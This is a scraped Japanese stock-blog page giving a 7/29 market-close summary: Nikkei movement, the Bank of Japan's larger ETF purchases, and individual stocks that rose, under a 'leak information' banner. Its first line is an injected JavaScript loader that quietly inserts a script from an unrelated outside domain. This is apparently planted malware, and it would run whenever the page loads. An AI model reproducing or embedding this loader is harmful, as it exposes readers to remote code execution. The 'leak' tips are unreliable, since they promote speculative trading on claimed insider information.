;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/29 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【7/29 大引け】

本日の日経平均株価は92円高と反発。後場は日銀会合の結果発表を受け日経平均は乱高下。ETFの買い入れ額を年間約3.3兆円から約6兆円に増額との追加緩和策を発表。瞬間的に株価は上昇したものの、事前の期待を下回る内容だったとのことから一時マイナス転換する場面もあったが終盤には再び切り返した。業種別では、銀行業    証券商品先物、保険業が大きく上昇。一方で、不動産業、鉄鋼、卸売業などが値下がり上位となった。

個別では、第1四半期営業益2.3倍で上半期計画進捗率89%を好感され【6161エスティックや通期上方修正の【3394】ネットワークバリューコンポネンツ。また、今後3年間でIoT関連の売り上げとして約100億円を見込んでいるとした【2354】安川情報システムがストップ高。不動産、民泊関連の【3300】AMBITIONが後場急伸したほか、カジノ関連の【3625】テックファーム、【6428】オーイズミ、【7997】くろがね工作所も上昇ししたほか、上方修正の【1942】関電工などの上昇も目立った。その他、マイナス金利維持で安心感。銀行株へ安心感からに買いが集まり軒並み高となった。

週明けは本日の日銀の緩和、黒田日銀総裁の会見など海外勢が日銀の決定をどう受け止めるかまずは見極めたいところ。物色は手掛かりにした個別中心、本日強かった銀行株は週明けも注目!